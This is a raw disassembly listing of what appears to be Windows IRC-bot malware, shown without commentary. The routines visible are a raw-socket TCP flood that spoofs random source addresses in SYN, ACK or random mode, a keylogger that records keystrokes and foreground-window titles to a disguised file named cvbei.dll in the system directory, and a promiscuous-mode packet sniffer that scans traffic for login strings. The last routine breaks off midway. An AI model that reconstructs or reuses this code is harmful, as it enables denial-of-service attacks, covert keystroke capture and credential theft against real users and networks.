lea eax, [ebp+var_B4]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call ds:dword_43C67C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_401CDD
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
call ds:dword_423058 ; QueryPerformanceCounter
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_401D06
jl loc_401B98
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_401D06
jmp loc_401B98
; ---------------------------------------------------------------------------
loc_401CDD: ; CODE XREF: sub_401A6D+247j
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset dword_4252B8 ; Format
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
add esp, 10h
jmp short loc_401D09
; ---------------------------------------------------------------------------
loc_401D06: ; CODE XREF: sub_401A6D+25Bj
; sub_401A6D+269j
mov ebx, [ebp+arg_8]
loc_401D09: ; CODE XREF: sub_401A6D+78j
; sub_401A6D+297j
push [ebp+var_C]
call ds:dword_43C6B0 ; closesocket
pop esi
loc_401D13: ; CODE XREF: sub_401A6D+5Bj
call ds:dword_43C578 ; WSACleanup
mov eax, ebx
loc_401D1B: ; CODE XREF: sub_401A6D+3Bj
pop edi
pop ebx
leave
retn
sub_401A6D endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_401D1F(int,char *Str,int)
sub_401D1F proc near ; CODE XREF: sub_4019D1+3Cp
arg_0 = dword ptr 4
Str = dword ptr 8
arg_8 = dword ptr 0Ch
push ebx
push esi
push edi
push [esp+0Ch+arg_0]
call sub_40ADC5
push [esp+10h+Str] ; Str
mov esi, eax
call _atoi
push [esp+14h+arg_8] ; Str
mov ebx, eax
call _atoi
mov edi, eax
call _rand
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_401A6D
add esp, 1Ch
test eax, eax
jnz short loc_401D6A
push 1
pop eax
loc_401D6A: ; CODE XREF: sub_401D1F+46j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
sub_401D1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401D79 proc near ; DATA XREF: sub_40EE51+2D56o
Dest = byte ptr -440h
var_240 = dword ptr -240h
var_23C = byte ptr -23Ch
Str = byte ptr -1BCh
var_13C = byte ptr -13Ch
var_BC = dword ptr -0BCh
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_B0 = dword ptr -0B0h
var_AC = dword ptr -0ACh
var_A8 = dword ptr -0A8h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_8C = byte ptr -8Ch
var_80 = byte ptr -80h
var_78 = byte ptr -78h
Src = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
Dst = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 440h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+var_240]
rep movsd
push 1
xor ebx, ebx
pop esi
lea edi, [ebp+var_9F]
push 0Eh
mov [eax+19Ch], esi
pop ecx
xor eax, eax
mov [ebp+var_A0], bl
rep stosd
stosw
stosb
mov edi, ds:dword_423054
call edi ; GetTickCount
push eax
call sub_4172EE
pop ecx
push 0FFh
push 3
push 2
call ds:dword_43C698 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_401E42
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset dword_42542C ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401E22
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_40D670
add esp, 14h
loc_401E22: ; CODE XREF: sub_401D79+84j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_BC]
call sub_417064
pop ecx
pop ecx
push ebx
call ds:dword_423050
loc_401E42: ; CODE XREF: sub_401D79+61j
lea ecx, [ebp+var_34]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_34], esi
call ds:dword_43C5F8 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_401EC0
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset dword_4253E4 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_A8], ebx
jnz short loc_401EA0
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_40D670
add esp, 14h
loc_401EA0: ; CODE XREF: sub_401D79+102j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_BC]
call sub_417064
pop ecx
pop ecx
push ebx
call ds:dword_423050
loc_401EC0: ; CODE XREF: sub_401D79+DFj
lea eax, [ebp+var_23C]
push eax
call ds:dword_43C658 ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_401F30
lea eax, [ebp+Dest]
push offset dword_4253B4 ; Format
push eax ; Dest
call _sprintf
cmp [ebp+var_A8], ebx
pop ecx
pop ecx
jnz short loc_401F10
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_40D670
add esp, 14h
loc_401F10: ; CODE XREF: sub_401D79+172j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_BC]
call sub_417064
pop ecx
pop ecx
push ebx
call ds:dword_423050
loc_401F30: ; CODE XREF: sub_401D79+157j
push 10h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push ebx
call ds:dword_43C618 ; htons
mov [ebp+var_42], ax
lea eax, [ebp+var_23C]
push eax
call ds:dword_43C658 ; inet_addr
mov [ebp+var_40], eax
mov [ebp+arg_0], ebx
call edi ; GetTickCount
mov [ebp+var_30], eax
loc_401F68: ; CODE XREF: sub_401D79+430j
call edi ; GetTickCount
sub eax, [ebp+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+var_B4]
ja loc_40222C
push 28h
mov [ebp+var_2C], 45h
call ds:dword_43C618 ; htons
cmp [ebp+var_B0], ebx
mov [ebp+var_2A], ax
mov [ebp+var_28], si
mov [ebp+var_26], bx
mov [ebp+var_24], 80h
mov [ebp+var_23], 6
mov [ebp+var_22], bx
jz short loc_401FDB
call _rand
mov esi, eax
shl esi, 8
call _rand
add esi, eax
shl esi, 8
call _rand
add esi, eax
shl esi, 8
call _rand
add esi, eax
push 1
mov [ebp+var_20], esi
pop esi
jmp short loc_401FF1
; ---------------------------------------------------------------------------
loc_401FDB: ; CODE XREF: sub_401D79+233j
push [ebp+var_240]
call sub_40AEDB
pop ecx
push eax
call ds:dword_43C658 ; inet_addr
mov [ebp+var_20], eax
loc_401FF1: ; CODE XREF: sub_401D79+260j
mov eax, [ebp+var_40]
cmp [ebp+var_B8], ebx
mov [ebp+var_1C], eax
jnz short loc_40200F
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_402015
; ---------------------------------------------------------------------------
loc_40200F: ; CODE XREF: sub_401D79+284j
push [ebp+var_B8]
loc_402015: ; CODE XREF: sub_401D79+294j
call ds:dword_43C618 ; htons
mov [ebp+var_16], ax
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
call ds:dword_43C618 ; htons
push 12345678h
mov [ebp+var_18], ax
call ds:dword_43C614 ; htonl
mov [ebp+var_14], eax
lea eax, [ebp+Str]
push offset aSyn ; "syn"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_402065
mov [ebp+var_10], ebx
mov [ebp+var_B], 2
jmp short loc_4020C1
; ---------------------------------------------------------------------------
loc_402065: ; CODE XREF: sub_401D79+2E1j
lea eax, [ebp+Str]
push offset aAck ; "ack"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_402085
mov [ebp+var_10], ebx
mov [ebp+var_B], 10h
jmp short loc_4020C1
; ---------------------------------------------------------------------------
loc_402085: ; CODE XREF: sub_401D79+301j
lea eax, [ebp+Str]
push offset aRandom ; "random"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_4020C1
call _rand
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_10], edx
call _rand
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_B], dl
loc_4020C1: ; CODE XREF: sub_401D79+2EAj
; sub_401D79+30Aj ...
push 200h
mov [ebp+var_C], 50h
call ds:dword_43C618 ; htons
mov [ebp+var_A], ax
mov eax, [ebp+var_20]
mov [ebp+Src], eax
mov eax, [ebp+var_1C]
push 14h
mov [ebp+var_6], bx
mov [ebp+var_8], bx
mov [ebp+var_60], eax
mov [ebp+var_5C], bl
mov [ebp+var_5B], 6
call ds:dword_43C618 ; htons
mov [ebp+var_5A], ax
lea eax, [ebp+Src]
push 20h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_18]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_80]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_A0]
push 34h
push eax
call sub_40AF34
mov [ebp+var_8], ax
lea eax, [ebp+var_2C]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_18]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_8C]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+var_78]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+var_A0]
push 28h
push eax
call sub_40AF34
mov [ebp+var_22], ax
lea eax, [ebp+var_2C]
push 14h ; Size
push eax ; Src
lea eax, [ebp+var_A0]
push eax ; Dst
call _memcpy
add esp, 14h
lea eax, [ebp+Dst]
push 10h
push eax
push ebx
lea eax, [ebp+var_A0]
push 3Ch
push eax
push [ebp+var_4]
call ds:dword_43C67C ; sendto
cmp eax, 0FFFFFFFFh
jz short loc_4021AE
inc [ebp+arg_0]
jmp loc_401F68
; ---------------------------------------------------------------------------
loc_4021AE: ; CODE XREF: sub_401D79+42Bj
push [ebp+var_4]
call ds:dword_43C6B0 ; closesocket
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
push offset dword_425344 ; Format
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
cmp [ebp+var_A8], ebx
jnz short loc_40220C
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_40D670
add esp, 14h
loc_40220C: ; CODE XREF: sub_401D79+46Ej
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_BC]
call sub_417064
pop ecx
pop ecx
push ebx
call ds:dword_423050
loc_40222C: ; CODE XREF: sub_401D79+203j
push [ebp+var_4]
call ds:dword_43C6B0 ; closesocket
mov eax, [ebp+arg_0]
xor edx, edx
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
div [ebp+var_B4]
shr ecx, 14h
push ecx
push eax
lea eax, [ebp+var_23C]
push [ebp+arg_0]
push eax
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dest]
push offset dword_4252E4 ; Format
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+var_A8], ebx
jnz short loc_40229D
push ebx ; int
lea eax, [ebp+Dest]
push [ebp+var_AC] ; int
push eax ; int
lea eax, [ebp+var_13C]
push eax ; Str
push [ebp+var_240] ; int
call sub_40D670
add esp, 14h
loc_40229D: ; CODE XREF: sub_401D79+4FFj
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_BC]
call sub_417064
pop ecx
pop ecx
push ebx
call ds:dword_423050
sub_401D79 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4022BD(int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_4022BD proc near ; CODE XREF: sub_40239E+B4p
; sub_40239E+253p
Dest = byte ptr -314h
Filename = byte ptr -114h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
Str = byte ptr 14h
arg_8C = dword ptr 94h
arg_90 = dword ptr 98h
push ebp
mov ebp, esp
sub esp, 314h
lea eax, [ebp+var_10]
push esi
push eax
call ds:dword_423068 ; GetLocalTime
lea eax, [ebp+Filename]
push 104h
push eax
call ds:dword_423064 ; GetSystemDirectoryA
lea eax, [ebp+Filename]
push offset Source ; "\\"
push eax ; Dest
call _strcat
lea eax, [ebp+Filename]
push offset aCvbei_dll ; "cvbei.dll"
push eax ; Dest
call _strcat
lea eax, [ebp+Filename]
push offset Mode ; "ab"
push eax ; Filename
call _fopen
mov esi, eax
add esp, 18h
test esi, esi
jnz short loc_402324
push 1
pop eax
jmp short loc_40239B
; ---------------------------------------------------------------------------
loc_402324: ; CODE XREF: sub_4022BD+60j
movzx eax, [ebp+var_4]
push [ebp+arg_0]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_10]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n"
push esi ; File
call _fprintf
push esi ; File
call _fclose
add esp, 28h
cmp [ebp+arg_90], 0
jnz short loc_402399
push [ebp+arg_0]
lea eax, [ebp+Dest]
push offset dword_425BDC ; Format
push 200h ; Count
push eax ; Dest
call __snprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8C] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+arg_4] ; int
call sub_40D670
add esp, 24h
loc_402399: ; CODE XREF: sub_4022BD+A3j
xor eax, eax
loc_40239B: ; CODE XREF: sub_4022BD+65j
pop esi
leave
retn
sub_4022BD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40239E proc near ; DATA XREF: sub_40EE51+1F81o
var_8DC = dword ptr -8DCh
var_8D8 = byte ptr -8D8h
Dest = byte ptr -4DCh
var_2DD = byte ptr -2DDh
Dst = byte ptr -2DCh
var_DC = byte ptr -0DCh
var_D8 = dword ptr -0D8h
var_48 = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8DCh
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_8DC], 0
push 25h
and [ebp+var_4], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_DC]
rep movsd
mov dword ptr [eax+90h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_8D8]
rep stosd
call ds:dword_43C5A0 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call ds:dword_43C5B4
mov ebx, 200h
loc_4023F9: ; CODE XREF: sub_40239E+2C7j
push 8
call ds:dword_423060 ; Sleep
call ds:dword_43C5A0 ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz short loc_402481
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call ds:dword_43C5B4
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+Dst]
push eax ; int
lea eax, [ebp+Dest]
push offset aSChangedWindow ; "%s (Changed Windows: %s)"
push eax ; int
call _sprintf
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+Dest]
push 25h
pop ecx
mov edi, esp
push eax ; int
rep movsd
call sub_4022BD
mov [ebp+var_4], eax
push ebx ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0A4h
lea eax, [ebp+Dest]
push ebx ; Size
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_402481: ; CODE XREF: sub_40239E+6Cj
mov [ebp+arg_0], offset aB ; "b"
loc_402488: ; CODE XREF: sub_40239E+2BDj
push 10h
call ds:dword_43C4F8 ; GetKeyState
movsx esi, ax
mov eax, [ebp+arg_0]
mov edi, [eax-4]
push edi
call ds:dword_43C5E4 ; GetAsyncKeyState
test ah, 80h
jz short loc_402520
push 14h
call ds:dword_43C4F8 ; GetKeyState
test ax, ax
jz short loc_4024D1
cmp esi, 0FFFFFFFFh
jle short loc_4024D1
cmp edi, 40h
jle short loc_4024D1
cmp edi, 5Bh
jge short loc_4024D1
mov [ebp+edi*4+var_8DC], 1
jmp loc_402650
; ---------------------------------------------------------------------------
loc_4024D1: ; CODE XREF: sub_40239E+112j
; sub_40239E+117j ...
push 14h
call ds:dword_43C4F8 ; GetKeyState
test ax, ax
jz short loc_4024FC
test esi, esi
jge short loc_402510
cmp edi, 40h
jle short loc_4024FC
cmp edi, 5Bh
jge short loc_4024FC
mov [ebp+edi*4+var_8DC], 2
jmp loc_402650
; ---------------------------------------------------------------------------
loc_4024FC: ; CODE XREF: sub_40239E+13Ej
; sub_40239E+147j ...
test esi, esi
jge short loc_402510
mov [ebp+edi*4+var_8DC], 3
jmp loc_402650
; ---------------------------------------------------------------------------
loc_402510: ; CODE XREF: sub_40239E+142j
; sub_40239E+160j
mov [ebp+edi*4+var_8DC], 4
jmp loc_402650
; ---------------------------------------------------------------------------
loc_402520: ; CODE XREF: sub_40239E+105j
mov esi, [ebp+edi*4+var_8DC]
lea eax, [ebp+edi*4+var_8DC]
test esi, esi
jz loc_402650
and dword ptr [eax], 0
lea eax, [ebp+Dst]
cmp edi, 8
push eax ; Str
jnz short loc_402558
call _strlen
and [ebp+eax+var_2DD], 0
pop ecx
jmp loc_402650
; ---------------------------------------------------------------------------
loc_402558: ; CODE XREF: sub_40239E+1A5j
call _strlen
cmp eax, 1B9h
pop ecx
jbe short loc_40258A
call ds:dword_43C5A0 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call ds:dword_43C5B4
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+Dst]
push eax
push offset aSBufferFullS ; "%s (Buffer full) (%s)"
jmp short loc_4025CB
; ---------------------------------------------------------------------------
loc_40258A: ; CODE XREF: sub_40239E+1C5j
cmp edi, 0Dh
jnz loc_402622
lea eax, [ebp+Dst]
push eax ; Str
call _strlen
test eax, eax
pop ecx
jz loc_402650
call ds:dword_43C5A0 ; GetForegroundWindow
lea ecx, [ebp+var_48]
push 3Ch
push ecx
push eax
call ds:dword_43C5B4
lea eax, [ebp+var_48]
push eax
lea eax, [ebp+Dst]
push eax ; int
push offset aSReturnS ; "%s (Return) (%s)"
loc_4025CB: ; CODE XREF: sub_40239E+1EAj
lea eax, [ebp+Dest]
push eax ; int
call _sprintf
sub esp, 84h
lea esi, [ebp+var_DC]
lea eax, [ebp+Dest]
push 25h
pop ecx
mov edi, esp
push eax ; int
rep movsd
call sub_4022BD
mov [ebp+var_4], eax
push ebx ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0A4h
lea eax, [ebp+Dest]
push ebx ; Size
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
jmp short loc_402650
; ---------------------------------------------------------------------------
loc_402622: ; CODE XREF: sub_40239E+1EFj
cmp esi, 1
jz short loc_40263B
cmp esi, 3
jz short loc_40263B
cmp esi, 2
jz short loc_402636
cmp esi, 4
jnz short loc_402650
loc_402636: ; CODE XREF: sub_40239E+291j
push [ebp+arg_0]
jmp short loc_402642
; ---------------------------------------------------------------------------
loc_40263B: ; CODE XREF: sub_40239E+287j
; sub_40239E+28Cj
mov eax, [ebp+arg_0]
add eax, 7
push eax ; Source
loc_402642: ; CODE XREF: sub_40239E+29Bj
lea eax, [ebp+Dst]
push eax ; Dest
call _strcat
pop ecx
pop ecx
loc_402650: ; CODE XREF: sub_40239E+12Ej
; sub_40239E+159j ...
add [ebp+arg_0], 14h
cmp [ebp+arg_0], offset dword_425BA4
jl loc_402488
cmp [ebp+var_4], 0
jz loc_4023F9
push [ebp+var_D8]
call sub_417064
pop ecx
push 0
call ds:dword_423050
sub_40239E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40267F proc near ; DATA XREF: sub_40EE51+1DCAo
var_102B4 = byte ptr -102B4h
var_102AB = byte ptr -102ABh
var_102A8 = dword ptr -102A8h
var_102A0 = dword ptr -102A0h
var_10293 = byte ptr -10293h
Str = byte ptr -1028Ch
Dest = byte ptr -2B4h
var_B4 = dword ptr -0B4h
var_B0 = byte ptr -0B0h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = byte ptr -20h
Dst = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 102B4h
call __alloca_probe
mov edx, [ebp+arg_0]
push esi
push edi
push 1
pop eax
mov esi, edx
push 25h
lea edi, [ebp+var_B4]
pop ecx
mov [ebp+var_8], eax
rep movsd
mov [edx+90h], eax
xor esi, esi
push 10h ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push esi
call ds:dword_43C618 ; htons
push [ebp+var_B4]
mov [ebp+var_1A], ax
call sub_40AEDB
pop ecx
push eax
call ds:dword_43C658 ; inet_addr
push esi
push 3
push 2
mov [ebp+var_18], eax
call ds:dword_43C698 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_4], edi
jnz short loc_402754
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset unk_426604 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402737
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_40D670
add esp, 14h
loc_402737: ; CODE XREF: sub_40267F+96j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
push [ebp+var_30]
call sub_417064
pop ecx
pop ecx
push esi
call ds:dword_423050
loc_402754: ; CODE XREF: sub_40267F+76j
mov eax, [ebp+var_30]
push 10h
imul eax, 234h
mov ds:dword_44207C[eax], edi
lea eax, [ebp+Dst]
push eax
push edi
call ds:dword_43C644 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4027D9
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset unk_4265C0 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_4027B5
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_40D670
add esp, 14h
loc_4027B5: ; CODE XREF: sub_40267F+114j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
push edi
call ds:dword_43C6B0 ; closesocket
push [ebp+var_30]
call sub_417064
pop ecx
push esi
call ds:dword_423050
loc_4027D9: ; CODE XREF: sub_40267F+F4j
push esi
lea eax, [ebp+var_20]
push esi
push eax
push esi
push esi
lea eax, [ebp+var_8]
push 4
push eax
push 98000001h
push edi
call ds:dword_43C5C4 ; WSAIoctl
cmp eax, 0FFFFFFFFh
jnz short loc_40285C
call ds:dword_43C5AC ; WSAGetLastError
push eax
lea eax, [ebp+Dest]
push offset unk_426578 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_28], esi
jnz short loc_402838
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_40D670
add esp, 14h
loc_402838: ; CODE XREF: sub_40267F+197j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
push edi
call ds:dword_43C6B0 ; closesocket
push [ebp+var_30]
call sub_417064
pop ecx
push esi
call ds:dword_423050
loc_40285C: ; CODE XREF: sub_40267F+177j
push ebx
mov ebx, offset a_login ; ":.login"
loc_402862: ; CODE XREF: sub_40267F+21Bj
; sub_40267F+22Dj ...
mov edi, 0FFFFh
lea eax, [ebp+var_102B4]
push edi ; Size
push esi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_102B4]
push esi
push edi
push eax
push [ebp+var_4]
call ds:dword_43C630 ; recv
cmp eax, 0FFFFFFFFh
jz loc_402974
cmp [ebp+var_102AB], 6
jnz short loc_402862
mov eax, [ebp+var_102A8]
cmp [ebp+var_10293], 18h
mov [ebp+var_C], eax
jnz short loc_402862
lea eax, [ebp+Str]
push offset SubStr ; "[PSNIFF]"
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_402862
mov eax, ebx
xor edi, edi
test eax, eax
jz short loc_402862
mov [ebp+arg_0], ebx
loc_4028D0: ; CODE XREF: sub_40267F+26Cj
push eax ; SubStr
lea eax, [ebp+Str]
push eax ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jnz short loc_4028F2
inc edi
add [ebp+arg_0], 18h
mov eax, [ebp+arg_0]
jnz short loc_4028D0
jmp loc_402862
; ---------------------------------------------------------------------------
loc_4028F2: ; CODE XREF: sub_40267F+262j
lea eax, [ebp+Str]
push eax
push [ebp+var_102A0]
call ds:dword_43C554 ; htons
movzx eax, ax
push eax
push [ebp+var_C]
call ds:dword_43C6A4 ; inet_ntoa
push eax
lea eax, [edi+edi*2]
mov eax, ds:dword_425C8C[eax*8]
push ds:off_425C68[eax*4]
lea eax, [ebp+Dest]
push offset unk_426528 ; Format
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 1Ch
cmp [ebp+var_28], esi
jnz short loc_402962
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_40D670
add esp, 14h
loc_402962: ; CODE XREF: sub_40267F+2C1j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
jmp loc_402862
; ---------------------------------------------------------------------------
loc_402974: ; CODE XREF: sub_40267F+20Ej
call ds:dword_43C5AC ; WSAGetLastError
push eax
push offset unk_4264E4 ; Format
lea eax, [ebp+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 10h
cmp [ebp+var_28], esi
pop ebx
jnz short loc_4029BA
push esi ; int
lea eax, [ebp+Dest]
push [ebp+var_2C] ; int
push eax ; int
lea eax, [ebp+var_B0]
push eax ; Str
push [ebp+var_B4] ; int
call sub_40D670
add esp, 14h
loc_4029BA: ; CODE XREF: sub_40267F+319j
lea eax, [ebp+Dest]
push eax
call sub_40BF6F
pop ecx
push [ebp+var_4]
call ds:dword_43C6B0 ; closesocket
push [ebp+var_30]
call sub_417064
pop ecx
push esi
call ds:dword_423050
sub_40267F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4029E0 proc near ; CODE XREF: sub_402DCE+28p
Dest = word ptr -354h
var_34E = byte ptr -34Eh
Source = word ptr -124h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 354h
push ebx
push esi
push edi
mov esi, offset off_426B6C
lea edi, [ebp+var_C]
mov ecx, 8Ah
movsd
movsd
movsd
mov esi, offset asc_426B64 ; "\\\\"
lea edi, [ebp+Dest]
movsd
movsw
xor eax, eax
lea edi, [ebp+var_34E]
rep stosd
stosw
mov al, ds:byte_4397BC
push 45h
mov byte ptr [ebp+Source], al
pop ecx
xor eax, eax
lea edi, [ebp+Source+1]
rep stosd
stosw
stosb
lea eax, [ebp+Source]
push 0FFh
push eax
push 0FFFFFFFFh
push [ebp+arg_0]
xor edi, edi
push edi
push edi
call ds:dword_42306C ; MultiByteToWideChar
lea eax, [ebp+Source]
push eax ; Source
lea eax, [ebp+Dest]
push eax ; Dest
call _wcscat
lea eax, [ebp+var_C]
push eax ; Source
